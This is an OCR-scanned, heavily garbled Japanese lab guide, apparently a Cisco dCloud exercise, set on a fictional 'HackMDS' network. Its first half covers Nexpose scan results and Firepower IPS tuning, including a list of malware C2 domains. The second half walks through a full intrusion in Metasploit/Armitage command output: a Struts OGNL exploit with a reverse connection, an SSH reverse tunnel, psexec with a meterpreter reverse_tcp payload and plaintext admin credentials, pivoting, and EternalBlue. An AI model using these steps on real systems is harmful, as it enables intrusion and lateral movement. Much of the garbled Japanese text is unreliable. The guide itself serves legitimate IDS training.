Impact 1 Impact 1 Intrusion The Foitwas attsckadand 2018-01- 2018-01-
Attack Event - attempted- is likely vulnerable ~; {5 . 08
admin 09:51:33 09:51:33
Systems (1) v [‘f Edit Operating System J[ 4 View Operating Systems J
Microsoft Windows 7 Ultimate Edition  SP1 Application: NeXpose Scan Report

8. TARIZRYA—LF 5L, Nexpose [Ck>TIDVRATLRTRESN TR TOMBHEERTT 24T avhnHBYET, FvAy
D )w T HEFEMNRRIENET,
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MNeXpose Vulnerabilities L & Edit Vulnerabilities

Name \r\l Remote Component Port

CIFS Account Lockout Policy Not Enforced

CIFS Account Password Never Expires

CIFS Minimum Password Length Policy Not Enforced

ICMP timestamp response

Microsoft CVE-2017-0146: Windows SMB Remote Code Execution

VYulnerability

NetBIOS NBSTAT Traffic Amplification 137
SMB signing disabled 139
SMB signing disabled 445
SMBE signing not required 139
SME signing not required 445

TCP timestamp response

TLS Server Supports TLS version 1.0 3389

TLS Server Supports TLS version 1.0 3389

9. RERSNFEEHBEOWITNMEVYVITEHE TORAREEKRE., EX7% CVSS ROATFHEENRTRINET , £f-. TNENDHEFEHE
IZBEEF DN TWDR— R TEET , COROEMIERT. BBEOEEICESTHEEICEETT, COLILT—RE. K
BEICEAMBEOIHIRTOA LT 5. IDS/IPS HED Y (/83— X2 TA4BfHIT2/00—DRALIZESTELERTT,

Wilnerability Detail

Yulnerability
Source
“ulnerability
1D

Title CIFS Account Lockout Policy Mot Enforced

Mexpose ID: cifs-no-acct-lockout-limit; References: | Severity: 7; PCI Severity: 4;
CWES Score: 6.8; CVWSS Vector: (AVIN/ACIM/AAWLIN/CIPATIR/AP)

Mexpose

34502025

Description

CCTH REOEBELTRNTOWEWRBEAENE(FTHEINEHR T IENEETT .. TORITEATANDEEMEIHYET,
ERICTTANTHEVRY . KBENALICHBEEBRATEINESHIE., EOEIOIYER A, TOIEMDE, X 1) ToHHT
/Ao —hBENGREEERETAEE FEICEETT, TOVRATLISERT S URIEERTHHEEF—LIRETHE
T REZ R T IVLENHL-HTT .

Rapid7 Nexpose M FEL-EELMRBET—2M AU R—bEh B ET Cisco Firepower IDS/IPS L5 —FvDHABEAREINET,
ROBET, COMSEERLTHELLD,

FIA 3BT TLELE BREMNSHNIE, S FUA 3 DR—FR 723V ITHEA TS,
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R—7F R SR - Firepower NGIPS D%

1. LE&® [R1)>—(Policies)] #9%%5') vy LT IPS RUYI—IZRY. [7 7R Hlf#I (Access Control)] & [#RA (Intrusion)] Z:&RLET

Overview EEGENEEE Policies EbEYeES

Access Control v Network Discovery Al

Access Control

Intrusi Dashboard

Malware & File rv of activity on the appliance

2. %IZEELTz Hack MDS Default IPS Policy AR FRESNET , SRERADIRET (I EV)VILET,

| ¥ Compare Policies || ) Create Policy

224:25

dmin" j L_B "{T) a

3. COBAT.VRANTRTOBEHRRAITICHET S BREHOEX1)T1 VT FrEBIRLIZCEIZRYET, Firepower T
[X. HackMDs vk —9 FREDERRMIEINT, ZOMICHEHRBIENRESINET, £RIIZHS Firepower
Recommendations Z:#IRLFEF , RIZ [Firepower #E/L—/LELRE (Firepower Recommended Rules Configuration)] w42k
T. [B$#E%E (Advanced Settings)] 7723 % #IRL. BEMISERAIN X1 T HRBEOLANLERELET,

Overview Analysis IEBIISELE Devices Objects AMP

Access Control » Intrusion

Edit Policy: Hack

ork Discovery Apphcation Detectors Correlation Actions v

Default IPS Policy

£ & ’ policy report
irepower Recommendations
5 Advanced Settings
Global Rule Thresholding Networks to Examine
@ Policy Layers
Networks Single IP address, CIDR block, or comma-separated list)
Firepower Recommended Rules Configuration
Recommendation Threshold NNone Low Negum Hoh
A
(By Rule Overhead) | |

— B
Disable Rules
Generate and Use Recommendations

Generate Recommendations
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DT ZF v DEREEIZ, Firepower DHERBENMEATEEX1UTA LNILDRSAFTERTN—BRERISINET, [ (Medium)]
DFEFEICTED. BVELIFEOLARICERECTEE T, L—ILEEMNCTSHREEIEICRE I 5 (Accept Recommendations to
Disable Rules)] IZEFRBLTZEW, S, TNET—EER Y I—ITHRESMTWVEWT I r—2avEFEH—EXD
IL—ILBHBIGEIZ, Firepower BN ZDEEHET DL THIELET . FELGFVINBRNASINGTZO . DRATLETELRYS
WICHBESE BRI BFET, TRREOR VLT —VIZIZRONZH DT /AL ALNVEWN 2 SRBREBETIEA VICLEEE
129 %L, Firepower BSKEDL YT —F¥ JL—ILEBEIMIZEDICLET,

RIZ [HEEEE £ KL THEA (Generate and Use Recommendations)] #49Jw2LEY .

5.2, Firepower DBELTWB RS T4y IIZEDWTHEIEEIEEMELIZL—IILERETEE T, Al RykT—5 L
IZERICFEET I LDEHRELTVDIEZEKRLET,

Success X

Setting Policy to Use Recommendations

Policy 1s now using the generated

_ recommendations

Determining recommendations

OK

ZDHITIE, Firepower Management Center (FMC) T, A RUMEER (E=4) T 5H LU 157 HDIIL—IL, FRYTLTIRU+E
ERT B0 7,452 BHOIIL—ILAERITEY  HRIEMIZ 5,751 B IIL—ILAENIHEYVEL: (RBEORIE. 7TS5/1/T7URITE
MTEREINT=. Talos VT ZF Y DEHKICE-STELBYFET) . ThIE. TIHILEDHLL IPS RYS—HEBASH - HEROIR
BLIIRECELGYFETAAD IPS R —Z2FERALIGE L. Ry T—VRBICELZRYS—FBRALEBEELTIE. ChETD
EBLAHEDTY,

@ Firepower changed 13360 rule states for 15 hosts
=% Set 157 rules to generate events
X Set 7452 rules to drop and generate events
Set 5751 rules to disabied

Policy 15 using the recommendations. Click to change recommendations
Last generated: 2017 Feb 6 21:33:31

reports

B Advanced Settings

Networks to Examine

Firepower Recommended Rules Configuration

Networks (Single IP address, CIDR block, or comma-separated list)

Recommendation Threshold INOM Low Medium
A

High

(By Rule Overhead)

Accept Recommendations to ()
Disable Rules

Do Not Use Recommendations

Update Recommendations
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60/195 X—



Cisco dCloud
|

8. 3 DOEEFHLLWE=Z. FOvT, FFEMLIhizL—IL) OERIZHZRIBEZIVVITHE, BMETHIBRSAL—IL
DHMEHERTEES, COFITR. [FAYTLTANUIEERT D 7452 EDIL—ILEHRFET % (Set 7452 rules to drop and
generate events)] D RIRFET7 AL EV VUL T BEEFOYT T 5OISERSINIZFHLL T =F ¥ L—ILEZRERBLET,

[RIISERY Devices  Object b, Syste v adminv

Access Control » Intrusion  Network Discovery  Application Detectors  Correlation  Actions v

Edit Policy: Hack MDS Default IPS Policy

Policy tnformation

Rules es for 15 hosts
Firepower Recommendations.

Advanced Settings

Global Rule Thresholding ende
® Policy Laers
 states in p o
§ Setting

Networks to Exam

Netwarks Single 1P address, CIDR black, o comma-separated list

Firepower Recommended Rules Configur atic

Racommendation Threshold one Low tedum vigh

(By Rule Overhead) k A |

Accegt Recommendations to e
Disabie Rules

D0 Not Use Recommendations.

Update Recommendations

9. ZORBICEEDHEREHDOFLWIIL—ILEFERTEET, BALLTIX. Firepower [CHAAFENTLSHBER Ty FHIRIE
BREILE=. LWL =SB R DD o= RRMETT7 TS —Sav RSN LR ERZBZONET,

Access Control » Intrusion Network Discovery Application Detectors Correlation Actions v
Edit Policy: Hack MDS Default IPS Policy
Policy Information Rules. gack)

Rules ® Fiter: [Recommendation:*0rop and Generate Events
Firepower Recommendations SR Filter returned 7452 results
Category
© Advanced Settings — . A o 0 o =

Rule State Event Fiters

amic State Alerting Comments
Global Rule Thresholding

-
@
| -

F

APP-DETECT TeamViewer remote administration tool outbound connection attempt
BLACKLIST Connection to malware sinkhole
BLACKLIST Connection to malware sinkhole

@ Policy Layers

BLACKLIST Connection to malware sinkhole
BLACKLIST DNS GlassRAT domain alternate009.com
BLACKLIST DNS GlassRAT domain cainformations.com
BLACKLIST DNS GlassRAT domain echotec.asia
BLACKLIST DNS GlassRAT domain foryousee.net

BLACKLIST DNS GlassRAT domain mechanicnote.com
file-executable BLACKLIST DNS GlassRAT domain news-google.net
BLACKLIST DNS GlassRAT domain rausers.com

BLACKLIST DNS request for known malware CNC domain 003mxs.eu

BLACKLIST DNS request for known malware CNC domain 14.7k.cc

BLACKLIST DNS request for known malware CNC domain 5511.3322.0rg

BLACKLIST DNS request for known malware CNC domain downcompile.3322.0rg

BLACKLIST DNS request for known malware CNC domain gsndomain.ddns.us - Win. Trojan.Pyteconte
BLACKLIST DNS request for known malware CNC domain hingston2.eu - Win.Trojan.Sarvdap
BLACKLIST DNS request for known malware CNC domain intertechsupport.net - Win. Trojan.Hanove.
BLACKLIST DNS request for known malware CNC domain netbar.asys.us

BLACKLIST DNS request for known malware CNC domain ns1.dnsfor0.com - Win.Trojan.Symmi
BLACKLIST DNS request for known malware CNC domain selekatamata.com - Win.Trojan.Crowti

BLACKLIST DNS request for known malware CNC domain specpsa.

BLACKLIST DNS request for known malware CNC domain spemtovam.co
BLACKLIST DNS request for known malware CNC domain sef.im - Win.Trojan. Truado

BLACKLIST DNS request for known malware CNC domain trasbaiana.web102.f1.k8.com.br
BLACKLIST DNS request for known malware CNC domain up.ok789111.com - Win.Trojan.Comowba
BLACKLIST DNS request for known malware CNC domain www.youu.pw - Win.Trojan.Truado
BLACKLIST DNS request for known malware CNC domain yuykaisa.com - Win.Trojan.Crowti
BLACKLIST DNS request for known malware domain - Backdoor Rbot

BLACKLIST DNS request for known malware domain - compare-free.com

BLACKLIST DNS request for known malware domain .bayandovmeci.com - Win.Trojan.Glupteba

BLACKLIST DNS request for known malware domain 003iuayt.com

hoonnoonoonaonoononoonanoonanmonooncy

£ X XX XX KK XX KK KK XK KKK XKKXKKKXX XX XXX

BLACKLIST DNS request for known malware domain 1.lastnight.z8.ru - Win.Trojan.Maener

;_LXXXXl’(XXXXKXXXXXXXKXXXXXXXXXXXXX)UQ

150 > )

10. SIARTIEK. ShoDEFEHEELEE A [HEEEEFFHEALAL (Do Not Use Recommendations)] RAVE v ILET

| Do Mot Use Recommendations |

| Update Recommendations |
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T EEOERTE, HREBEERITANSIENTEEY e, FHTHRRREEDIL T HEDERHTI . FLEEERIR
TLICHET HRBEICR-TERAT S ELAIRETT,

BELIR - EARVE

FYRT—I EDBREBLI-TNARIZTIERATELLSITHST-HEE (L, BLDIGFE . RITRYET—IRHOMD T NI RIZHLTERY
FERBETVET KEEFENNBTERYNEITIICEISETELFELNHYET COBELTRTIE, SSH R—rER#EZFERALT, B

BDYE—F )L (BELI DMZ H—/\)ZBEL TS T409FIL—T42 T L. 3—F Ik ZYET—IRD R DT INA REER YL TH
BLFT, TNTIEBEOFELLS,

1. Kali MBI RTLATE—SFIL V1R IEFREET,

2. aXUF FAVThTlssh-keygen | aX U FEETLET,

3. F— J7A )% root/ sshiattack ] IZEYRLET,

4. LEZDEREROONET, LEESTHEEE [y] &RRLET,

5. BYOTOVTMIHLTEFNEN Enter ZHLET,

:~# ssh-keygen

Generatlng public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/attack
/root/.ssh/attack already exists.
Overwrite (y/n)? y

Enter passphrase (empty for no passphrase):

Enter same passphrase again:
Your identification has been saved in /root/.ssh/attack.

our public key has been saved in /root/.ssh/attack.pub.

he key fingerprint is:
SHA256: TO9cvpteOYy2GWD j4XKAy1XRpjYaSX8FCurcMg9Wqg8 root@kali
he key's randomart image is:
+---[RSA 2048]----+

|
I
|
|
|
|
|
|
|
L+

6. XiZTattack.publ/8TVw% F— TJ7A L% authorized_keys177AJLIZaE—LET,
cp /root/.ssh/attack.pub /root/.ssh/authorized keys

7. RiZTauthorized_keys |77 JLIZxtF % Linux TOTIEREEEFHLET,
chmod 400 /root/.ssh/authorized keys

3% :Linux @ chmod 400 TlX., FRARE (U) DT HIERENRAEY (Read) IZHREINFET,
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8. RIZTattackl]FTZAR—k F¥— I7A/)LE&EHR—L TALYMIZOE—LET,
cp /root/.ssh/attack ~

File Edit View Terminal Tabs Help

cp /root/.ssh/attack.pub /root/.ssh/authorized keys
chmod 400 /root/.ssh/authorized keys

cp /root/.ssh/attack ~

SCTHA—HYb VAT LIZF—ET7YvTA—RLET, ZOHIIZ. DMZ H—/\ S RTLEBEMTEICL T, KBIZE>T DMZ —/1\HT
HDRATAARENBLIIZLET, T ITAVIEESIZLT Cisco Firepower # IDS IZRLET,

9. Cisco Firepower Management 32— )L ® Firefox 754 vyl avIZRYET . L&D R —(Policies)] #7%&2'JvoL.
[7 oA %lE (Access Control)] & [& A (Intrusion)] Z:#IRL T, Firepower IPS RS —EEBLET,

'Overview LGENYSEE Policies BSYIEEES

Access Control v Network Discovery A

Access Control

ntrusige, Dashboard

Malware & File vy of activity on the applianc

M

10. RUD—ZHmET DT SWETAVEIIVILET,

Deploy , System Help v admin v

Import/Export Intrusion Rules Access Control Network Analysis Policy
¥* Compare Policies .2 Create Policy

Last Modified

2018-01-08 22:54:07

'
Modified by "admin” — D
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11. &IZ, [RY S —1E#R (Policy Information)] 3% E T [/ 51> DHEIZRAY T (Drop when Inline)] Ry X%EF2IZL T, [JL—IL
(Rules)] #5voIL%ET,

Overview Analysis RLIEEE Devices Objects AMP Deploy h, Sys Help v admin v

Access Control » Intrusion Network Discovery Application Detectors Correlation Actions v

Edit Policy: Hack MDS Default IPS Policy

Policy Information

Rules h Name Hack MDS Default IPS Policy

Firepower Recommendations

Description
Advanced Settings
Drop when Inline O h
Policy Layers
., Base Policy | Balanced Security and Connectivity _v_] cy'\ Manage Base Policy

@ The base policy is up to date (Rule Update 2016-09-06-001-vrt)

| This policy has 8087 enabled rules ;v’: Manage Rules
=% 105 rules generate events 4 View
¥ 7982 rules drop and generate events 4 View

No recommendations have been generated. Click here to set up Firepower recommendations.

| Commit Changes | | Discard Changes |

12. T4 E 94 R IZTStruts IEA AL, FTv PRI REFUIZLT [A XU D ERL (Generate Events)] Z#:#IRL. IPS /R —TK
Oy Hd SNz struts MBI T A RURMITNERSNBKSIZLET,

[ T ®v @ v w ll
Rule State Event Filtering Dynamic State Alerting Comments
¥ _GID SID Message a =
v SERVER-APACHE Apache Struts allowStaticMethodAccess invocation attempt =
V 1 SERVER-APACHE Apache Struts allowStaticMethodAccess invocation attempt =
Vo1 SERVER-APACHE Apache Struts arbitrary OGNL remote code execution attempt g
vV 1 30944 SERVER-APACHE Apache Struts Cookielnterceptor classloader access attempt =
Vo1 17533 SERVER-APACHE Apache Struts Information Disclosure Attempt =
vV 1 27574 SERVER-APACHE Apache Struts OGNL getRuntime.exec static method access attempt -
2 1 18931 SERVER-APACHE Apache Struts OGNL parameter interception bypass command execution b
attempt
= : <
v~ M oy O [Policy -

Rule Statell Event Filtering Dynamic State Alerting Comments

SERVER-APACHE Apache Struts OGNL parameter interception bypass command execution
attempt

Generate Events 1€ o = @ ' \'3 @ D
= 3 § 3 a
Drop and Generate Events R-APACHE Apache Struts allowStaticMethodAccess invocation attempt -—p -
s R-APACHE Apache Struts allowStaticMethodAccess invocation attempt =
Disable
R-APACHE Apache Struts arbitrary OGNL remote code execution attempt =
vV 1 30944 SERVER-APACHE Apache Struts CookieInterceptor classloader access attempt =
Vo1 17533 SERVER-APACHE Apache Struts Information Disclosure Attempt =
vV 1 27574 SERVER-APACHE Apache Struts OGNL getRuntime.exec static method access attempt =)
=P

<l

18931
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13. RIZ [RJL—IE#HR (Policy Information)] #7%5)voL. [EET S (Commit)] 0y I L TEBEHEEL. TR EFLET,

14. &#%IZ [EH (Deploy)] REVE ) voL., Tftd 1 —/ % #RE&. [EEA (Deploy)] K2V %V ILTEREEZT v aLFET . ZRY
DEZBIVT T4 [ £7)vIL T, RENERICITHhA =S EEHERLET,
Deploy Policies Version:2018-01-08 10:54 PM ? X

V| Device Group Current Version

b fd

2018-01-04 03:37 PM
v

Selected devices: 1 <=\
Deploy Cancel

15. &IZ Kali Linux Y AT LIZRY, struts2 EIZ&>T DMZ H—N\EZBEIIRATOC/RET, Armitage Z—EBFLCTHN S, #FHit=Ic
AVRBREREET . #—3F )L T4 R I%EHE. TArmitage |EA AL THE Y IR 7EETLET . Armitage Tlstruts2 & A

AL, Tstruts2_content_type_ogni |IREH##IRLET , UTITRIRYT7vT D00 R2CA AL, [ (Launch)] KAV EH)vH
LE?O

Apache Struts |akarta Multipart Parser OGHL Injection

This module exploits a remote code execution vulnerability in Apache Struts version 2.3.5 - 2.3.31, and 2.5 - 2.5.10.
Remote Code Execution can be performed via http Content-Type header. Native payloads will be converted to executables
and dropped in the server's temo dir. If this fails. trv a cmd/* pavload. which won't have to write to the disk.

a v

Option 4| Value
EXE::Custom +

LHOST 188.18.133.8
LPORT 23285

Proxies

RHOST + whnaw, hackmds.com
RPORT 20

SSL 0

TARGETURI

/clientportal/fileupload/upload.action
e T I

Targets: 'CI == Universal 'l

W Lle~a reverse connection

O ShGW\a:\“"):ed options
Launch
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16. THRTOA SNtz DMZ H—/\W, BE. MENFLELLOVE 21— 2ORELTRTEINET, RIS, CORELEVATLE,
HackMDs IRIFICELITEBATHIER Y IRAVMELTHEALET . RELILVATLERYYYIL, [P z)L 1(Shell 1)] > [#1E
(Interact)] DIEITERL T, BELIVATLATEERFI—IFILERHEET, lcd webapps]EA LT Web 7FUHr—3> T4
WA EBREET,

F

[ Console }(T exploit X T Shell1 X L

$ cd webapps

17. RIZKHEBRAO—F#O—KLET BELEIIUERYYHIL., [Pz)L 1(Shell 1)] > [7vFE—FK (Upload)] DIEISERLET

B == |
- 108.10.76.5 SRR

NSTAauxg8GInY riiEEliss Upload...
Scan

Pass Session
Host Post Modules

Disconnect

18. TattacklFS5A4N—k F— J7/ILEERL. [F<(Open)] ) vILTIDRA(O—F%27yF7O—RLET,

‘é‘ Select file to upload CERN 1 P

Look In: | (& root 'J | )| @) | &) LE] 8|

(8 Desktop (& Public

(& Documents [ Templates

(& pownloads (& videos

(& Music (8 vmware-tools-distrib

(& Pictures ™ attack

/

< k / / T
File Name:
Files of Type: | All Files j

. Open | | Cancel |

19. [z/L 1(Shell 1)] 27 T, lattack | TS5/ R—k F— J7 (LA EREIZTYTA—REN =2 EEMERBLET  MIsIEA DT BE IL—
b TALIRMIADTFAILDRTFEINET, lNattack | 77 M ILBRFSNET, DD BNEE L TVRTACMIZVRTLERY
oL, BIE (Interact)] ZBIRL TR TLEDBIEFHEILLET,
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»[Consom )(Texmoﬁ XA[Shall ™

$ cd webapps
% 1s

clientportal.was
ROOT
test

20. RIZ. F7ANIZHT BT HOEREELEELET, lchmod 400 attack ]Iav U FEETLET .

chmod 400 attack
21. Tmv attack /tmp/1ZETLT. DT 7 (L% /tmplattack [IZaE—LFE T,

$ mv attack /tmp/
$ cd /tmp/

22. J7AIDT TIZHEET B8, [TOERIERNHY EE A (Permission denied) |ELVSIITS—ARFSNET, COIS—MNERRS
NEBE, FEI7MILAELOE —Sn =2 #RTHBE L. Ted tmp/ 1A RFE A AL TIHIEIZT AL TIs1éEA D
LT I7AUDZDTHILAIZHEINEINEERLET, 77D T TITHEAETDHEE . ROFADLSITHYET,

P LP dLLAULR FUNpP/fdLLALUR

cp: cannotgiapate reqular file '/tmp/attack': Permission denied
$ cd /tmp/

$ s

attack

hsperf

hsperfda®a "

systemd-privaté JaBdd5e2a04733ad354852867c3eab-systemd- timesyn
testfile

tomcat/-tomcat/-tmp

yimmrare-root

23. JE—bF SRTLTROATVREETTEHENE—F DRATLOODI RIILEBETEEFT . AKXFENXFHRFIESN S0,
EFEICAALTEELY,

#ssh -i /tmp/attack -1 root 198.18.133.6 -p 22 -N -f -C -R 445:198.19.10.1:445 -o
StrictHostKeyChecking=no

ssh -i /tmp/attack -1 root 198.18.133.6 -p 22 -N -f -C -R 445:198.19.10.1:445 -o StrictHostKeyChecking=no
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24. Kali VAT LDE—IF)L 942K IIZRY, Nnetstat —tunap |grep 2213V RFZETTEE PO RIVDHEILSNTWSIEXHERT
EFFET R—b 22 THRISNERARTINET,

# netstat -tunap |grep 22

0 0 0.0.0.0:22 0.0.0.0:* LISTEN
582/sshd / \

tcp 0 0 198.18.133.6:22

198.19.20.5:59796 ESTABLISH

ED 20572/sshd: root

tcpb 0] 0 :-:22 sk LISTEN
582/sshd

#

25. /XY ORT1ELTDORO RV IE DI SNDE, COEREEL T, 4—Y Vb Ry T—0I2R T 2 EBMKEEXERITTEET . %
ERVE RAVNETEIET,. CORELEVRATLEELT. HEDEIHSTERYNTI—IRDMD L AT LERETESLSIZH
YET, Armitage [CRY., ROLA VY DOREEZFIBLET,

26. Armitage T [2>Y—/L(Console)] #T% ") w99 %<&, Metasploit CLI AV 3—T A ABKRRINFET,

P

[COHSMP "Texmon ){Tsheﬂl }{TE

onnection
i - O[10

27. CCTROBEEZOA—RLES . ROAYVRTHEZ VN7 YILTEFTLET,
msf exploit (multi/handler) > use exploit/windows/smb/psexec
msf exploit (windows/smb/psexec)
msf exploit (windows/smb/psexec)
msf exploit (windows/smb/psexec)
msf exploit (windows/smb/psexec)
msf exploit (windows/smb/psexec)
msf exploit (windows/smb/psexec)
msf exploit (windows/smb/psexec)
msf exploit (windows/smb/psexec)

set payload windows/meterpreter/reverse tcp
set LHOST 198.18.133.6

set LPORT 8822

set RHOST 127.0.0.1

set SMBDomain ad.hackmds.com

set SMBUser Administrator

set SMBPass Clscol2345

exploit —-j

V V.V V V V V V

[Ccnsme )(I exploit X ] Shell1 X |

[*] Command shell session 1 opened (198.18.133.6:24739 -> 198.19.20,5:45572) at 2018-01-17
10:36:04 -0500

msf exploit( ) » use exploit/windows/smb/psexec

msf exploit( ) » set LHOST 198.18.133.6

LHOST => 198.18.133.6

msf exploit( ) » set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD == windows/meterpreter/reverse_tcp

msf exploit( ) = set LPORT 8822

LPORT =» 8822

msf exploit( ) » set RHOST 127.0.0.1

RHOST =» 127.0.0.1

msf exploit( ) » set SMBDomain AD.HACKMDS.COM

SMBDomain == AD.HACKMDS.COM

msf exploit( ) » set SMBUser Administrator
SHMBUser => Administrator

msf exploit( ) » set SHMBPass Clsco0l2345
SHBEPass =» Clsco012345

msf exploit( ) = exploit -j

[*] Exploit running as background job 8.

[*] Started reverse TCP handler on 198.18.133.6:8822

[*] 127.0.0.1:445 - Connecting to the server...

[*] 127.06,0,1:445 - Authenticating to 127,0.0,1:445|AD,HACKMDS.CON as user 'Administrator'...
[*] 127.0.0.1:445 - Selectinn PowerShell tarnet

msf Loit( ) >
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28. KA(Y AV rA—SHBEINILEHRTEE T KA 2V bO—5%RE T BIZIL. Texploit -j1% 2 ~ 3 EERTLEITAIEE
SLIEWEEAHYET ROBITIE. Texploit -j 1D 1 BB A LT IMNIGEY, 2 BB TRACY OV MA—JIIHTEHT I AHH
BEIZRYELT =,

*

127.0.0.1:445 - Executing the payload...

127.0.0,.1:445 - Service start timed out, OK if running a command or non-service executable...
exploit( )} » exploit -j

Exploit running as background job 9.

Started reverse TCP handler on 198.18.133.6:8822

127.0.0.1:445 - Connecting to the server...

127.0.0,.1:445 - Authenticating to 127.0.0.1:445|AD.HACKMDS.COM as user 'Administrator'...

= r——
N+
b bl

i

*

127.0.0.1:445 - Selecting PowerShell target

127.0.0.1:445 - Executing the payload...

127.0.0.1:445 - Service start timed out, OK if running a command or non-service executable...
Sending stage (179779 bytes) to 198.18.133.1

Meterpreter session 2 opened (198.18.133.6:8822 -> 198.18.133.1:52590) at 2018-01-17
10:44:54 -0500

meterpreter =

29. Armitage DB EIAVR DIV AT LNRREIN, FAMY OV MA—ZZBETEIENLMET,

*

% +

[ e e p— p— p— — p— p—
e b el bl bt el b e

*

(>
‘-E"‘lll::’-’ 127.0.0.1

198.19.20.5 NT AUTHORITY\SYSTEM @ AD1

30. COFAY AbO—ZZBLT, RUMT—VDMOE R CERVIETVET , TDFHD 1 DDFEL. HDHRRMEYYZULT
Ny DR IETT, ROBITIE, T TITETEEITL., 198.19.30/24 [THFHET DY T RubE 1 DBHELTVSILERHRICE
HET, COFERICEDINT, ROBBOKEEZETLET, [a>Y—IL X(Console X)] #TEH)v— LT meterpreter >1 7OV
FRRENTFS, TbackIEAALET,

[Consom )(]exmom Xw[Shmll X |

[*] 12? 0.0.1: 445 Eunnectlng
[*] 127.0.0,1:445 Authentica
[*] 127.0.0.1:445 - Selecting
[*] 127.0.0.1:445 - Executing
[+] 127.0.0.1:445 - Service st

[*] Sending stage (1?9??9 byte
[*] Meterpreter session 2 open
10:44:54 -0500

meterpreter = back
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31. Tmsf>17AVTMRTEINET, [sessions =i JEAALET , THIF/NFDTi AT =y a ERLET,

msf » sessions -i

Active sessions

Id HName Type Information Connection

1 shell cmd/unix 198.18,133.6:23590 -> 198,19.20.5:48578 (198.19.20.5)
2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ AD1 198.18.133.6:8822 -» 198.18.133.1:54371 (127.0.0.1)

32. DA 1E2DEYIAVHRTEINET, CNIEBRELE 2 DOVATLERLET ID [CEDVWTET/NAIRERBIETHIEITHD
DT. 2D ID FEZTHEZTET, Imsf>170>F+Tlroute add 198.19.30.0/24 2] EAHALT. ID2 &L= 2 BEHDUVATLED
JL—FEBIENET, COATURIZEY, TRTD 198.19.30.0/24 FS5714v5H meterpreter viay 2 Z@BLTEESNET,

msf = route add 198.190.30.0/24 2

[*] Route added

33. BELREZFA(Y 2V bA—5FE LT AR VLT —0 LD IIL—EDFEIL SN =D T, 192.168.30.0/24 2y T—H LDHRRA+ER
X LET, I, BEMEET—IVRT—avOZ0MDE R HIPAA T—ANFEELET , A¥ v 9 BIZIE. Armitage D
[[RR b (Hosts)] A=2—T [MSF XF+> (MSF Scans)] ##RLFEF,

Armitage View JElEEN Attacks Workspaces Help

v [2 auxiliary Import Hosts
v (@ admin | Add Hosts...
Y (& smb | Nmap Scan

v [,_;3 scanne
¥ (@ smb
1 psexec_loggedin_users 192.168.1.107 127.0.0.1
¥ (& exploit NT AUTHORITY\SYSTEM @ AD
¥ (& windows
¥ (& local

__] current_user_psexec

- ™

34. AHRyHRIZM198.19.30.96/291& A AL, [OK] EVUVILTREX YU ERBLET .

‘i, Input | o

4 3 Enter scanrange {e.g., 192.168.1.0/24):
0 168.19.30.96/29

| Cancel | | OK |

E:MSF REX vV ICIZERBICEBANMNYET , FEMNELV=DH. 10 ~ 20 HHANBEBEEEHYET, FCT. SAEEHBIAICKR TSE
B0, AXv o OEHEBAFRELELT =,
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35. TERCRF vy ZTAMRHE AFvURBRARTENET  LEO/NARIVICE, FEITHEENZVATLNRTEINET  FIVTL
BWESRATLNRZGWNMEELHYET . ERORAMEL>TNSED T, BRINIFPLH TSI ETHMYET , ELOTLVD
RRANERSVIT$5E. ERODKRESADAYET,

Armitage View Hosts Attacks Workspaces Help

¥ (& exploit A
v (& multi
¥ (@ http

struts2_rest — ‘
struts code 1983199300160 127.0.0.1

NT AUTHORITY\SYSTEM @ AD1

struts_code
struts_code
struts_codel

ctrite anﬂlv

struts

198.19.20.5 127.0.0.1 198.19.30.100

NT AUTHORITY\SYSTEM @ AD1 P—

198.19.30.162

36. BESNE=TNARIE, BEILATOL AT a0 &AL TRRSEDIELTEET, HESWDIDIEREYY A TF30TF,

198.19.20.5 127.0.0.1 198.19.306.102 198.19.306.100

NT AUTHORITY\SYSTEM @ AD1

Auto-Layout >
Layout

ell 1 x [ sean X | Zoom

) = use scanner/ssh/ssh_version

Circle
Hierarchy
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37. MEBLETEEELH D, URAZ VT KEBOR—MEHIOVRATLERET L. LEICERELLVATLEZBLTIVRATOAMEREET
EEY TVRTOAEREIET L. HackMDs Ry —IREBICBEITESESI1T4Y . RIEMIC 192.168.30.100 T /3 REHE
BTEFT AFvy 2TICRY, LAMICRIO—)LLTREERRSESHE, 100 YR T LTHR—F 445 HRAVTLNSZ EA DAY
£, ChEBATEET,

lf Console X T exploit X I Shell1 X T Scan }(]

m>>1 GUA.LLLGI J -~ 1umn =

[*] hu1111ary module running as background ]oh 10,

[+] 198.19.30,102: 198.19,30,102:22 - TCP OPEN
[+] 198.19.30.102 198.19,30,102:135 - TCP OPEN
[+] 198.19.30.102 195.19.30,102:139 - TCP OPEN
[+] 198.19.30,100: 195.19,.30.,100:22 - TCP OPEN

[+] 198.19.30,102: 198.19,30,102:445 - TCP OPEN
[+] 198.19.30,100: 195,19, 30, 100: 1. ‘

[+] 198.19,.30,100 195. 19,30, 100: 1.

[+] 198.19,30,100: 195. 19,30, 100:

[*] Scanned 4 of 8§ hosts (50% complete)

msf auxiliary( ) =

38. ZORW=R—F4ERT 51612, ms17_010_eternalblue THVRFOAMEFEALET, ZCOIHVRTOA ML WannaCry HE(Zf#
BAEhiztDTT, Armitage BED1RFIIZRY. Teternal ITRFELET , RixSNh Tz eternalblue 773> 9 vILET,

Armitage Wiew Hosts Attacks Worksg

¥ (& exploit
¥ (@ windows
¥ (@ smb

L 1msl7 010 eternalblue

eternall
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39. [RHOST] 127198.19.30.1001E A AL . [J/\—R &K% {E FH (Use a reverse connection)] 4 (ZLET , &I [BAsA (Launch)] &
9)voLET,

H Attack [ @ BX
M517-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

This module is a port of the Equation Group ETERMALBLUE exploit, part of the FuzBunch toolkit &
released by Shadow Brokers. There is a buffer overflow memmove operation in Sr!SrvOs2FeaToNt. £

The size is calculated in Srv!SrvOs2FealistSizeToNt. with mathematical error where a DWORD is ¥
Option 4| Value

Groomallocations 12 &
GroomDelta 5

LHOST 168.18.133.6

LPORT 9211

MaxExploitAttemnpts 3

ProcessName £\ spoolsv.exe

RHOST + 198,19,30.100

RPORT 445 L
SMEDomain

SMBEPass + v

Targets: /\‘Nindows 7 and Server 2008 R2 (x64) All Service Packs -VJ
/

(V] "Use a reverse connection

| Show advanced options

| Launch |

3¥:Cisco AMP aR942M/IN—23 6.0 UBENBEASINTWSIGE L. TIVRTOAMNAHEDS 2 — L EFRALTHBEBILETEET,

